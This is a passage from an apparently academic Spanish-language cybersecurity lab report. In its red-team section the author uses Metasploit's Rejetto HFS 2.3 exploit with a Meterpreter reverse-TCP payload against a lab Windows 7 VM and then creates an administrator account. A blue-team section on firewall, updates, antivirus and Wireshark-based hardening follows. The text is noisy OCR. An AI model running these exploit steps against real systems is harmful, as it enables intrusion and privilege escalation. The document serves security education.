redes informaticas. En contra de lo anterior se denota que, tanto en parte de los
militares como de los civiles, no se tenia un control o supervision de estas
acciones que se desarrollaban en dicho lugar; teniendo por consecuencia el
rompimiento de sus propios cédigos de ética, suscitado por la ambicién y el
poder que esto ejercia, el dinero que se obtenia era demasiado y por
consiguiente terminaban vendiendo la informacién a terceros con fines
lucrativos y generando un gran dafo. Por acciones anteriormente mencionadas
fue donde se dieron cuenta que desde Buggly se realizaba espionaje a el
proceso de paz que se estaba desarrollando con el gobierno de Colombia.

Las investigaciones luego de ser descubierto estos procesos ilicitos, los
implicados aceptaron la culpa en donde afirman que si hubo malos manejos y
ejecucion de procesos que alli se desarrollaban. Se realiza exhaustivamente
los procesos de investigacion y se determinan las sanciones y penas de
acuerdo con lo establecido por la ley colombiana.
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3. Etapa 3 Ejecucién pruebas de intrusion.

v" Anexo 4 — Escenario 3
Situacion problema: Analisis Red team.

La primera mision del equipo Red team es lograr identificar porqué medio o
proceso se esta generando una serie de fuga de informacién la cual se
presenta al interior de la organizacion en uno de sus equipos de cémputo en la
dependencia. La informacion inicial con la que cuenta el equipo es que la
maquina donde se esta generando la fuga de informacion tiene instalada una
aplicacion llamada rejetto v. 2.3 bajo un windows 7 con arquitectura X64; esta
aplicacion al parecer tiene asociado un exploit que puede terminar en una Shell
reversa y una sesion abierta de meterpreter. Dentro de la investigacion también
se investiga un escalamiento de privilegios por medio de la creacién de un
usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted
como experto, debe validar la posible falla de seguridad y si esta es explotada
debe crear un usuario con su primer nombre y primer apellido, el usuario debe
ser administrador esto con el fin de demostrar una PoC ante los altos
directivos.

3.1 Herramientas y procedimientos establecidos para dar solucion
al escenario Red team siguiendo las fases de penetracion.

3.1.1 Herramientas software utilizadas.

¢ NMAP: Es una herramienta que se utiliza en mdltiples plataformas para
realizar exploraciones sobre la red, permitiendo identificar puertos
abiertos, los servicios configurados, version de sistema operativo.

e NESSUS: Esta herramienta utiliza procesos de escaneo, busqueda de
algun tipo de vulnerabilidad en la red y sus posibles soluciones; permite
emitir resultados en un informe final desde donde se clasifica cada uno
de los analisis realizados.

e MESTASPOLIT: Herramienta de cdédigo abierto y gratuito, permite
conocer las debilidades de seguridad en un sistema y también realiza
asistencia en las etapas de penetracion con el fin de protegerlos.
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3.1.2 Fase recoleccion de informacién.

Para el desarrollo de esta fase, nos dedicamos a recolectar toda la informacion
posible que la empresa tenga disponible identificando los sistemas y programas
en funcionamiento que ella tiene. La herramienta que se emplea para
recoleccion de informacion es NMAP donde me permite identificar puestos
abiertos o cerrados dentro del procesos de operacién y caracteristicas propias
de cada uno de ellos en servicios.

Ademas, se procede a desactivar le fireware de Windows para poder lograr las
operaciones requeridas para analisis de vulnerabilidades que requiere la
empresa y su respectivo analisis de operaciones en el sistema.

Paso 1: Desactivacion de fireware de las maquinas virtuales.

Figura 15 Desactivar fireware y actualizaciones Win 7 x64.
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[

Fuente: Autor

Figura 16 Desactivar fireware y actualizaciones Win 2020 x86.

Fuente: Autor
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Paso 2: Identificacion de enrutamiento.

Figura 17 Identificacion de enrutamiento.

Fuente: Autor

Paso 3: Que dispositivos estdn conectados a la red.

Figura 18 Dispositivos conectados a la red 192.168.1.0

Fuente: Autor

Paso 4: Identificacion de puertos y servicios win7 x64.

Figura 19 Andlisis de puertos y servicios Win 7 x 64.

Fuente: Autor
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Figura 20 Andlisis de puertos y servicios Win 7 x 86.

Fuente: Autor

3.1.3 Fase andlisis de vulnerabilidad.

En esta fase se valoran los casos exitosos de nuestras estrategias de
penetracion a través del analisis y proactividad de vulnerabilidades. En este
momento es cuando nos damos cuenta de si el proceso de penetracion es
eficiente y eficaz. Las herramientas que utilizamos para este proceso fue
NESSUS — NMAP, las cuales me permiten identificar segun el factor de
vulnerabilidad las carateristicas de riesgos y estabilidad del sistema:

Paso 1: Entorno analisis de vulnerabilidades NESSUS.

Figura 21 Entorno operacion NESSUS.

Kali Training Kali To Kali Forums NetHunter o y + Exploit-DB GHDB [| MSFU

Welcome to Nessus Essentials

H £ Escribe aqui para buscar

Fuente: Autor
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Paso 2: Nuevamente verificamos puertos y servicios para la utilizar la
aplicacion en los procesos de analisis de vulnerabilidad.

Figura 22 Andlisis puertos y servicios.

Fuente: Autor

Paso 3: Ejecucion de analisis de NESSUS.

Figura 23 Ejecucion de NESSUS.

Fuente: Autor

3.1.4 Fase Explotacion.

Paso 1: Ingreso desde la consola para realizar el exploit.

Figura 24 Consola msf exploit.

Fuente: Autor

37



Paso 2: Usamos el exploit rejetto 2.3, en este caso se procede a setear el
payload: windows/x64/meterpreter/reverse_tcp. Posteriormente realizamos el
seteo del rhost: 192.168.0.172

Figura 25 Exploit rejetto 2.3
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) hf
eX¢€ meterpreter/re
64/meterpreter/

6.172

<
i " 1810
H O Escribe aqui para buscar 0. . )

Fuente: Autor

Paso 3: Verificamos que la configuracién del set quedo acorde a lo establecido.
Show options.

Figura 26 Estado de configuracion SET.
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Fuente: Autor
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3.1.5 Fase Informe.

En esta fase final se hace entrega de la informacion relacionada con el analisis
de vulnerabilidades caracterizadas en la prueba de penetracion. Se identifica
los puntos concretos en donde la seguridad se ha puesto de manera correcta y
aquellos donde debe existir una correccion en la seguridad del sistema de
informacion.
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3.2 Andlisis caso Red team — Identificacion de fallos.

3.2.1 Caracterizacion de lainformacion suministrada por el caso
Red team.

a. Se identifica una aplicacion llamada rejetto v. 2.3 bajo un windows 7 con
arquitectura X64 en uno de los equipos de cémputo de la organizacion.

b. Se presenta un caso asociado a un exploit que puede ejecutar un Shell
reversa.

c. Analizar la posibilidad de una sesion abierta de meterpreter.

d. Se identifica un escalamiento de privilegios, permite la creacion de un
usuario tipo administrador del sistema.

Paso 1: Identificamos los equipos que estan conectados a la red.

Figura 27 Identificacion equipos conectados a la red.

Fuente: Autor

Paso 2: Realizamos escaneo al sistema operativo y servicios vinculados.

Figura 28 Escaneo de puertos y servicios.

Fuente: Autor
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3.3 Herramientas empleadas para identificacion de fallos en la
seguridad propuesto por el escenario Red team.

Paso 1: Anélisis de vulnerabilidades NESSUS.

Figura 29 Entorno NESSUS.
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Fuente: Autor

Paso 2: Caracterizar las vulnerabilidades encontradas en el proceso.

Figura 30 Caracterizacion de Vulnerabilidades.
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Fuente: Autor
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Paso 3: Vulnerabilidades criticas para tener encuenta en el proceso de
exploit.

Figura 31 Vulnerabilidades identificadas.
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Fuente: Autor

Paso 4: Andlisis vy caracterizacion de cada una de las vulnerabilidades
encontradas.

Figura 32 Vulnerabilidad MS11-030.
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Figura 33 Vulnerabilidad UNSUPPORTED WINDOWS OS (REMOTE).
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Caracterizacion de los procesos anteriormente mecionados:

e MS11-030 (critical): Idéntica las fallas en la caracteristica de forma del
DNS de windows, permite realizar las consultas de resolucién de
nombres de multidifusion del enlace, los cuales se pueden aprovechar
para ejecutar cbdigos arbitrarios en contextos de cuentas
NetworkService.

e UNSUPPORTED WINDOWS OS (REMOTE) (critical): Es una versién
remota de Windows que permite identificar procesos de
vulnerabilidades y su respectiva seguridad segun procesos de intrusion
y ruptura del codigo de seguridad

e MS17-010 (high): Disefiado para ejecutar cédigos arbitrarios a partir de
una ejecucion remota de codigos de Microsoft Server Menssage Block,
esto analiza los procesos inadecuados en ciertas solicitudes, pueden
ser vulnerables al proceso de atacantes remotos no autenticados.

e MS16-047 (Medium): Permite identificar procesos de vulnerabilidad
remota de elevacion en los privilegios de protocolos del administrador
de cuenta de seguridad, debido a una falla en la negociacién en el nivel
de autenticacién en los canales de llamadas en procedimiento remoto;
puede lograr una degradacion en el nivel de autenticacion.

Nota: se realiza cambion de router para poder identificar error en ejecucion de
rejetto. Red 192.168.0.0

Figura 36 Cambio de Router.
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Paso 5: Instalacién HFS maquina win 7 x 64.

Figura 37 Instalacion HFS.
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Fuente: Autor

Paso 6: Ejecucién programa HFS.

Figura 38 Ubicacion HFS.
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Paso 7: Identificamos procesos de ejecucion HFS en la maquina win 7 x 64.

Figura 39 Procesos ejecutados HFS.
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Fuente: Autor

Paso 8: Realizamos la busqueda HFS. Search HFS.

Figura 40 Busqueda de HFS.
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Fuente: Autor
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Paso 9: Identificamos puertos para utilizar la herramienta rejetto.

Figura 41 Identificacion puertos.

Fuente: Autor

Paso 10: Realizamos el proceso de exploit con rejetto.

Figura 42 Proceso ejecutado rejetto.

Fuente: Autor
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Paso 11: Ejecucion proceso en analisis con rejetto 2.3.

Figura 43 Ejecucion HFS y rejetto.
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Fuente: Autor

Paso 12: Ingresamos al Shell.

Figura 44 SHELL.

[ 3

Blds @i g6 oo

Fuente: Autor
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Paso 13: Se crea el usuario y se vuelve administrador (Cesar Fernandez)

Figura 45 Creacion del usuario.
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Fuente: Autor

Paso 14: Entono grafico de la creacién del usuario administrador.

Figura 46 Entorno Usuario Administrador.
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3.4 Explicacion especifica del ataque realizado a la maquina
(Windows 7 X64).

Con la utilizacién de las diferentes pruebas de penetracion, se logré identificar
las debilidades que cuenta el sistema informatico, las deficiencias de
programas para su seguridad y procesos de vulnerabilidades; lo anterior
permite simular ataques que son comunmente utilizados en alguna
organizacion. Es importante identificar que en Windows las vulnerabilidades
son facilmente explotada por sus puertos, permitiendo utilizar exploit y payload
para conseguir un Shell remoto tan solo conociendo su direccion IP.

Para realizar el ataque utilizaremos un metasploit, que proporciona una
infraestructura que permite automatizar tareas de rutina y complejas, lo cual
permite identificar fallas en una organizacién. Cuando ingresamos en modo
consola del metasploit, nos permite ejecutar exploits que, en su manejo de
bases de datos, la cual contiene todos los exploits permitidos para identificar
cada una de las vulnerabilidades encontradas.

Paso 1: Identificacion de comandos para ejecutar en el Metasploit.

Comandos Descripcién

msfconsole Inicio al Metasploit Framework

exploit Lanzar ataque, me permitird tomar ventaja de las fallas en el
sistema, aplicacion y/o servicio

payload Un codigo o virus que genera un efecto dentro del sistema
atacado.

sysinfo Muestra las caracteristicas del equipo

getuid Muestra que el nivel de acceso del administrador

pwd Muestra en que parte me encuentro

ps Muestra los procesos del sistema

Paso 2: Ingreso al Metasplot framework.

Figura 47 Ingreso Metasplot Framework.

Fuente: Autor
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Paso 3: Aplicamos buscador.
Figura 48 Buscador Metasplot.
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2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-016 EternalBlue SMB Remote Windows Kernel Pool Corruption

3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average M517-010 EternalBlue SMB Remote Windows Kernel Pool Corruptien for Wing+

& exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code
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5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 sreat SMB DOUBLEPULSAR Remote Code Execution

E@oLERUG

Fuente: Autor

Figura 49 Buscador Metasplot.
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Fuente: Autor
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4. Etapa 4 Contencion de ataques informaticos.

v' Anexo 5 — Escenario 4
Situacion problema: Analisis Blue team.

WhiteHouse Security solicita a sus integrantes de Blue team contener y sacar
adelante un ataque informatico el cual se estd produciendo en tiempo real. La
maquina que se debe analizar es la Windows 7 X64 analizada en la actividad
anterior. La organizacion requiere un andlisis exhaustivo de lo que esta
sucediendo a nivel técnico “sistema operativo, red”, con la informacién
recolectada se espera que dentro de su grado de experticia usted como
miembro de un equipo Blue team logre contener el ataque para evitar que se
genere mas dafo a nivel interno de la organizacion. WhiteHose Security le
informa que no existe presupuesto para hacer uso de herramientas de pago,
por ende, el experto en Ciberseguridad deberd optar por una serie de
herramientas minimo con licencia GPL.

4.1 Acciones propuestas para contener un ataque en tiempo real.

Para poder realizar una contencion de un ataque que se esta realizando en
tiempo real tendria en cuenta los siguientes pasos:

Paso 1: Identificamos el estado del fireware del sistema operativo Win 7 x64.

Figura 50 Desactivado fireware y actualizaciones Win 7 x64.

f‘, a > dwtriﬁw D e

= R

Fuente: Autor
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Paso 2: Que dispositivos estan conectados a la red.

Figura 51 Dispositivos conectados a la red 192.168.1.0

Fuente: Autor

Paso 3: Identificacion de puertos y servicios win7 x64.

Figura 52 Andlisis de puertos y servicios Win 7 x 64.

Fuente: Autor

Paso 4: Identificamos configuracion de la “RED”.

Figura 53 Entorno configuracion maquina virtual Win 7 x64.
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Fuente: Autor
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Figura 54 Configuracion modo puente — permitir todo.
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Fuente: Autor

Paso 5: Identificamos que no cuenta con un antivirus instalado.

Figura 55 No tiene antivirus instalado.

E L Escribe aquf para buscar

Fuente: Autor

Posteriormente al haber realizado este proceso técnico que permitid identificar
los procesos hardware y software que se estan ejecutando el equipo que esta
siendo atacado, se procede a realizar ordenadamente el proceso de
prevencion, Deteccidn, Recuperacion y respuesta de evaluacion.

4.1.1 Proceso de prevencion.

En esta accion nos permite realizar acciones con metodologia preventiva, en
donde logramos reunir la gran mayoria de informacion, identificar los procesos
de comunicacién y lograr indagar y educar al usuario sobre los procesos de
prevencion. Para lo anterior podremos tener en cuenta las siguientes medidas:
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Figura 56 Medidas de Prevencion.

Realizar copias de Tener activo el Instalar y mantener
P Update de y

seguridad y custodiar - actualizado el
actualizaciones del

su privacidad : antivirus licenciado
sistema.

Limitar acceso a la
red y tener protegido Cierre de puestos con
el sistema por medio servicios no utilizados
de contrasefas

Fuente: Autor

4.1.2 Proceso de deteccion.

Para realizar el proceso de deteccion se debe tener muy en cuenta el tipo de
atague que se esta realizando. Con lo anterior me permite identificar el alcance
y posibilidad de dafio que se esté ejecutando en la informacion del equipo; se
debe realizar monitoreo e incluir las partes responsables que desarrollaron
labores sobre el equipo, identificar el personal involucrado para realizar
preguntas relacionadas con la actividad que desarrollan y con ellos lograr la
recuperacion en detalle de los datos e informacion en analisis. A continuacion,
se mostraran ataques muy comunes:

Figura 57 Tipos de Ataques.

*Manipulacion del eEvita que el eSoftware eSimulacion de
sistema. usuario ingrese a malicioso. entidades

eDeterioro la informacion. oAdquiere acceso Iegalmente
archivos del eEvita que el remoto al constituidas.
sistema. usuario. ingrese a servidor. *Robo de

eError de los servicios. eactua sobre los informacion.
opreacion en equipos que *Robo de datos
acciones del esten conectados personales.
sistema. en la red.

Fuente: Autor
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4.1.3 Proceso recuperacion.

Se puede estructurar en este paso de recuperacion, 3 fases importantes que
me permiten garantizar el desarrollo de rescate del sistema organizacional.

En una primera fase se busca mitigar las respectivas consecuencias del
ataque, empleando algun tipo de herramienta de contencidn que sea idOnea
para el proceso ejecutado, y que permita limitar el impacto e incidencias del
ataque.

La segunda fase es emplear medidas que logren detener el ataque,
permitiendo remover cualquier tipo de amenaza, generando planes de
contingencia donde se recupere desde el robo de informacion, bloqueo de
cuentas, entre otros.

Y por ultimo la tercera fase es retomar la normalidad en el funcionamiento,
estructurando los nuevos planes desde las experiencias vividas del ataque,
teniendo como objetivo primordial crear sistemas de backups y copias de
seguridad segun corresponda.

4.1.4 Proceso de respuesta.

Como ultimo paso del desarrollo del proceso es dar a conocer la respectiva
informacion de los acontecido a cada uno de los interesados de la empresa,
entre ellos podemos tener:

e Clientes

e Trabajadores
o Jefes

e Gerentes

Esto con el fin de dar a conocer cuales son las consecuencias del ataque que
se realizd, las medidas que se adoptan para poder continuar con los procesos
gue se desarrollan en la organizacién y una sala de preguntas para poder
responder a las personas que generen alguna duda con respecto al proceso
desarrollado o consecuencias futuras.
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4.2 Acciones de Hardenizacion a implementar para minimizar o
mitigar ataques de seguridad informatica.

Para el proceso de hardenizacién que permite asegurar el sistema informatico
minimizando las vulnerabilidades encontradas, logrando asi endurecer los
procesos de seguridad en servicios, usuarios y funciones que se ejecuten en la
organizacion. Para lo anterior se desarrollaron los siguientes pasos de
correccion:

Paso 1: Realizamos el sistema de monitoreo con la herramienta Wireshark,
permitiendo identificar el estado de la red, si se observa algun tipo de riesgo de
ataque.

Figura 58 Andlisis red con Wireshark.
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Fuente: Autor

Paso 2: Identificacion de los colores que emplea la herramienta de Wireshark
para analisis de la red.

¢ Rojo: Problema serio. En el paquete aparecera la palabra "Error".

¢ Amarillo: Indica atencion. En el paquete se podra ver la palabra "Warn".

e Celeste: Situaciones destacables fuera del funcionamiento normal. En el
paquete aparecerd la palabra "Note".

e Gris: Informacion sobre flujos normales que ayuda a entender qué ha
ocurrido. En el paquete aparecera la palabra "Note".
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Paso 3: Toma de muestra del andlisis de la informacion en la red y su contexto
explicativo.
Figura 59 Identificacion de anomalia en la red.
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Fuente: Autor

Paso 4: Segunda toma de muestra en andlisis de la informacién en la red y su
contexto explicativo.

Figura 60 Segunda muestra de andlisis.
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Paso 5: Tercera toma de muestra en analisis de la informacion en la red y su
contexto explicativo para poder ser graficados.

Figura 61 Muestra para ser graficada.
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Fuente: Autor

Paso 6: Grafica secuencias numerales de proceso anémalo en la informacion
muestreado.

Figura 62 Grdfica Sistema secuencial numeral.
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Paso 7: Analisis de gréficas 1/0, la cual me permite identificar todos los
paquetes de la transmision, los respectivos errores presentados en TCP vy el
filtrado de paquetes de la transmision.

Figura 63 Grdfica I/0
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Luego de haber realizado el anélisis con la herramienta Wireshark,
tomamos las medidas establecidas para minimizar el impacto de riesgo
informaéatico.

Paso 8: Se procede a realizar la activacion del firewall en el equipo Win 7 x64.

Figura 64 Configuracion activacion firewall en Win 7 x64.
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Fuente: Autor
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Figura 65 Activacion realizada Win 7 x64.
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caracteristica a través de

Firewall de Windows 1Cémo me ayuds un firewall 3 proteger mi equipo?
@ Cambiar Ia configuracién de iQué son las ubicaciones de red?
notificaciones " c " =
" ésti j i onectado (4)
® Activar o desactivar Firewall de l ¥ Redes domésticas o de trabajo (privadas) A

Windows

% Restaurar valores
predeterminados

Redes domésticas o del trabajo en cuyos usuarios y dispositivos confie

Estado de Firewall de Windows: Activado

@

Configuracién avanzada
Conexiones entrantes: Bloguear todas las conexiones a los programas

Solucién de problemas de red que no estén en la lista de programas permitidos

Redes domésticas o del trabajo (privadas) activas: &ji Red 3

Estado de notificacién: Notificarme cuando Firewall de Windows bloquee

un nueve programa

No conectado (v)
Vea también
Centro de actividades

Centro de redes y recursos
compartidos

0553 pom. | |

S A D e l

{: &7 & |58 G] @ 3 crderecHa
H £ Escribe aqui para buscar [ & Z ;1 ]

Fuente: Autor

Paso 9: Realizamos la activaciéon del Update de Windows para permitir recibir
actualizaciones del sistema.

Figura 66 Activacion Update Windows.

ﬁ ‘Win7-SE2020-X64 [Corriendo] - Oracle YM VirtualBox
Archive  Mdquina Ver Entrada Dispositivos  Ayuda

GU

<« Windows Update + Cambiar configuracion ~[4][ &

Elija la forma en que Windows puede instalar las actualizaciones

Cuando el equipo ests conectado, Windows puede comprobar automaticamente los actualizaciones
instalarlas usando esta on. Cuando estén nuevas puede instalarlas
antes de apagar el equipo.

4€6mo me puede ayudar |z actualizacion automatica?

Actualizaciones importantes

P 7 (n -

Instalar nuevas actualizaciones: [Todos los dias -] alas [200am.  ~]

Actualizaciones recomendadas

frecerme actualizaciones recomendadas de la misma forma que recibe las actualizaciones
importantes

Quién puede instalar actualizaciones

‘ermitir que todos los usuarios instalen actualizaciones en este equipo

Nota: es posible que Windows Update se actualice automaticamente antes de que busque otras
Lea nuestra 6n de privacidad en linea

05:53 pm. ||
20/03/2021 |

= E# 3 L)

&P & B8 @) @ @ cTre oerecHa
H £ Escribe aqui para buscar £ E.1 o

Fuente: Autor
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Paso 10: Se procede a descargar antivirus para proteccion del equipo, ya que
en el analisis mostraba que no tenia ningun tipo de antivirus instalado en el
equipo.

Figura 67 Descarga antivirus.

& Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox -
Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

s}
X

_— —
L, Gracias por descargar el softu: X (=& =]

&« ¢ @ © @ hitpsy/fuww avast.com/es-es/download-thank-you pl =ee i*d moe =

ILavast =

Abriendo avast free_antivirus_setup_online.exe ==
Ha elegide abrir:
[=7] avast_free_antivirus_setup_online.exe

que es: exe File (174 KB)
de hitps://install.avedn.net

(Desea guardar este archivo?

pta el uso de coo
mejorar la navegacion en el sitio, su rendimiento y s
e marketing. Puede admini:

PERMITIR TODAS ADMINISTRAR

H £ Escribe aqui para buscar

Fuente: Autor

Paso 11: Instalacién antivirus en el equipo win 7 x64 y retirada la alerta de no
antivirus.

Figura 68 Antivirus Instalado.

] Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox - X
Archive  Msquina Ver Entrada  Dispositivos  Ayuda

£L Gracias por descargar el softw: X (E=R R =3

&« c o O & hipsy, avast.com/es-es/download-thank-. s w YN @m & =

DIYa ©51UD 3 ICTILINUD Pasus pala LUIIPISIAl DU HIDLaIiauivll US Avast

Observacién: Si su descarga no se inicia automaticamente, por favor haga clic aqui

Guarde el archivo
Avast

Ocultar

Instalando Avast Free Antivirus...

wazpm. | |

sorom

GO & oL EEE] @ @ oReaia
1912

H A Escribe aqui para buscar i 1 P o ) (]

Fuente: Autor
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Paso 12: Cambiamos los permisos del modo promiscuo que tiene la red del
equipo Win 7 x64 y en el Kali Linux.

Figura 69 Cambio modo promiscuo denegado Kali Linux

[ — L3 -

Mueva Configuracidn Descartsr Mostrar

- ESISeq.0B ) Kali - Seminario - Configuracién ? %
v g .
gng;;lnnd:n x64 9] Genera | Red
[&] sistema Adaptador 1 | Adaptador2 | Adaptador3 | Adaptador 4
(9] pertalia Habiitar adsptador de red
Almscenamiento Conectado a: | Adaptador puente -
) Nombre:  Qualcomm Atheros QCAS 1x4A Wireless Network Adapter -

On suse ¥ Avanzadas
@ Red Tipo de adaptador: |Intel PRO/1000 MT Desktop (82540EM) e
@ Puertos seric Modo promiscuo: | Denegar ~
KS) uss Direccidn MAC: | 0800271F4101 ‘:2'7

Cable conectado
D Carpetas compartidas

[ interfez de usuario

Reenvio de puertos

Adapter=)

Configuradién invlida detectada Cancelar

Ninguno

H £ Escribe aqui para buscar

Fuente: Autor

Paso 13: Realizamos nuevamente el ataque para evaluar los procesos de
minimizacién de riesgo informatico. Verificacion de puertos y servicios.

Figura 70 Verificacion de puertos y servicios.

Il Kali - Seminario [Corriendo] - Oracle VM VirtualBox - x

Archive Maguina Ver Entrada

Terminalnre.1
' Archivo Acciones Editar Vista Ayuda

Papelera winrar.exs root@seminario:~# nmap -T4 -sV 192.168.1.95
Starting Nmap 7.80 ( https://nmap.org ) at 2021-83-20 17:55 -85
Nmap scan report for 192.168.1.95
Host is up (0.00077s latency).
Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
135/tcp  open Microsoft Windows RPC
139/tcp  open ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKG
ROUP)
554/tcp open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 08:80:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Dispositivos  Ayuda

Service detection performed. Please report any incorrect results at https://nmap.org
/submit/ .

Nmap done: 1 IP address (1 hest up) scanned in 132.29 seconds

root@seminario:~#

G (P | B 8] @ @) o omecia

H F Escribe aquf para buscar

Fuente: Autor
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Paso 14: Nuevamente realizamos el proceso de set para payload y equipo
host.

Figura 71 Configuracion rejetto.

i Kali - Seminario [Corriendo] - Oracle VM VirtualBox - x
Archive Maquine Ver Entrada Dispositivos  Ayuda
E mEmrs c 0 18PM O ) A

Terminalnro.1
' Archivo Acciones Editar Vista Ayuda

Papelera winrar.exe 192.168.1.95 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description
HTTPDELAY 10 no Seconds to wait before terminating web serv
er
Proxies no A proxy chain of format type:host:port[,typ
host:portl[ ... ]
RHOSTS 192.168.1.95 es
or hosts file with syntax 'file:<path>’
RPORT 80 ves The target port (TCP)
SRVHOST ~ 9.6.0.0 es The local host or network interface to list
~ en on. This must be an address on the local machine or 2.9.0.0 to listen on all addr
Carpeta esses.
L SRVPORT 8080 yes The local port to listen on.
ssL false no Negotiate SSL/TLS for outgoing connections
ssLCert no Path to a custom SSL certificate (default i
s randomly generated)
TARGETURT / The path of the web application
URIPATH The URT to use for this exploit (default is |
random)
VHOST HTTP server virtual host

The target host(s), range CIDR identifier,

Nessus-8.13-
-1-debian6

H £ Escribe aqui para buscar

Fuente: Autor

Paso 15: Enviamos nuevamente el ataque y verificamos que no se puede
ejecutar. Se realizan en dos oportunidades el exploit sin tener resultados
positivos para el ataque.

Figura 72 Ataque fallido exploit.

il Kali - Seminario [Corrienda] - Oracle VM VirtualBox - X
Archivo  Méquina Ver Entrada Dispositivos Ayuds
E mEr= erminal n PMO ) A B

Terminalnre.1
' Archivo Acciones Editar Vista Ayuda

Papelera
Id Name

Automat

msf5 exploit( ) > exploit

Handler failed to bind to 192.168.1.96:4444:~ -
Started reverse TCP handler on 0.0.0.0:4444
i / 0:8080/rTqGWy

92.168.1.69:8080/rTqGWy

Server started.

Sending a malicious request to /

Server stopped.

Exploit completed, but no session was created.
nsf5 exploit( ) > exploit

Handler failed to bind to 192.168.1.96:4444:~ -
Started reverse TCP handler on 0.0.0.0:4444
Using URL: http 0.0.0:8080/32uTabM?
Local IP: http://192.168.1.69:8080/32wTabM7
Server started

813 Sending a malicious request to /
Server stopped.

Exploit completed, but no session was chaiEd.

) >

Nessu

-1-debian6.

msf5 exploit(

H £ Escribe aqui para buscar

Fuente: Autor
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En soporte de lo anteriormente realizado, se presenta las caracteristicas de
algunos procesos que se pueden empelar para evitar el ataque:

Figura 73 Procesos anti-ataques.

Configuracion politica local de seguridad en el sistema.

e|dentifica procesos y requisitos de utilizacién de contrasefias, deshabilitar cuentas de
administrador y limitar los privilegios de los usuarios.

ePermite identificar si el sistema a sufrido algun tipo de alteracidon o modificacion segun la
base de datos almacenada y tomada al principio de las labores.

Auditorias en los servicios.

ePermite identificar los servicios que se ejecutan, sus caracteristicas ante un eventual
ataque, que puertos son utilizados y que tipo de protocolos son utilizados.

Proteccion de Hardware.

eRestringue las entradas a cualquier dispositivo de almacenamiento externo, contrasefias
de arranque del sistemas.

Aislar procesos.

eAplicacion de servidores dedicados y aislados de la red, denegando el ingreso a intrusos.

Llaves SSH.

eEstructura una autenticacidn secreta y una para poder compartir con el resto de
usuarios.

Programas de seguridad.

eIntalacidn de antivirus, antispam y antispyware.

VPN - Redes Privadas.

eCreacidn de conexiones remotas que se encuentran disponibles exclusivamente para
ciertos usuarios/servidores.

Fuente: Autor
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4.3 Diferencias entre equipo de Blue team y equipo de respuestas a
incidentes informaticos.

Como podemos observar a continuacion en la (tabla 1 Cuadro comparativo
entre equipamiento repuesta incidentes informaticos y Equipos Blue team).
Se puede detallar con precision las diferencias entre equipos Blue team y
equipos de respuesta a incidentes informéticos, tendemos en cuenta las
caracteristicas de aplicacion y sus respectivos analisis segun correspondan

a sus acciones.

Tabla 1. Cuadro comparativo entre equipamiento repuesta incidentes
informaticos y Equipos Blue team.

Caracteristica

Equipamiento respuesta
incidentes informéticos

Equipos Blue team

Se enfoca en incidencias Se enfoca en seguridad
Equipo informaticas. defensiva.

Identifica causantes de Identifica comportamiento
Operabilidad incidentes y sus sobre el sistema y

consecuencias. aplicaciones.

Incidentes de hechos Actia sobre ataques de
Hecho sospechosos. amenaza y riesgos.

Gestiona incidencias de Contencibn de ataques Yy
Actuador una entidad. propone mejoras para la

entidad.

Analiza situaciones y Analiza y evalla riesgos -
Andlisis responde a incidencias soluciones SEIM

Es periddica, pues los Es constante  permitiendo

objetivos son especificos procesos de documentacion en
Vigilancia y eficientes para nulidad bienestar de la entidad.

de ataques.

Endurecimiento de Caracterizacion forense de las

software, para reducir el maquinas afectadas, propone
Estudio namero de incidentes. soluciones y medidas de

deteccion.

Efectividad en la Caracteriza la efectividad de
Verificacion respuesta con normalidad las medidas de seguridad.

en la operatividad de la

entidad.

Gestion de los respectivos Rastreo de incidentes de
Proceso incidentes ciberseguridad.

Fuente: Autor
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4.4 Analisis sobre la utilizacién de un equipo Blue team en los
procesos de trabajo con CIS “Center For Internet Security”.

Definicién CIS (Center For Internet Security): Este sistema de seguridad tiene
como objetivo principal mantener la seguridad de internet, realizando
actividades como identificar, ejecutar, validar y proporcionar soluciones
correspondientes a procesos de ciberdefensa. Este sistema cuenta con
diversas herramientas y controles que permiten realizar configuraciones de
seguridad sobre el sistema a proteger, coordinado bajo normas legales
vigentes.

Como equipo Blue team lo utilizaria como un procedimiento establecido para
seguridad contra ataques cibernéticos, ya que maneja un estandar establecido
bajo proceso de seguridad y permite controlar al atacante.

Estor procedimientos se ejecutan cuando sucede alguno de los siguientes
casos en donde el atacante aprovecha:

e La ubicacién de equipos desprotegidos y que se encuentren conectados
a una red.

e En el momento de mal uso de los privilegios, caso particular; ser
engafiado para abrir un archivo maliciosos 0 acceso a paginas que lo
anico que buscan es ingresar a tu sistema.

e La explotacién de algunas vulnerabilidades como los son puertos,
servicios, contrasefias inseguras, cuentas mal protegidas o instalacion
de software gque no son necesarias su ejecucion.

e Indagar configuracion de la red para exploracibn remota para
distribucion de material y/o informacion maliciosa.

e Alteracion del sistema para ingresar configuraciones, manipulacion del
software y cualquier tipo de informacion salvaguardada en el disco.

e Engafo de usuarios con falsos procesos de informacion dafada y
aplican codigos maliciosos.

e Buscan identificar e indagar si la informacién confidencial esta
salvaguardada con la misma seguridad de la informacion ordinaria.

¢ Intervienen las conexiones inalambricas para realizar la conexion a la
red de la empresa.

e Hacer uso de cuentas no usadas para realizar los procesos de ingreso
de informacién maliciosa, ya que este tipo de cuentas no permiten ser
descubiertos.

e Rastreo de operacion en servicios mal configurados para implantar
procesos maliciosos.
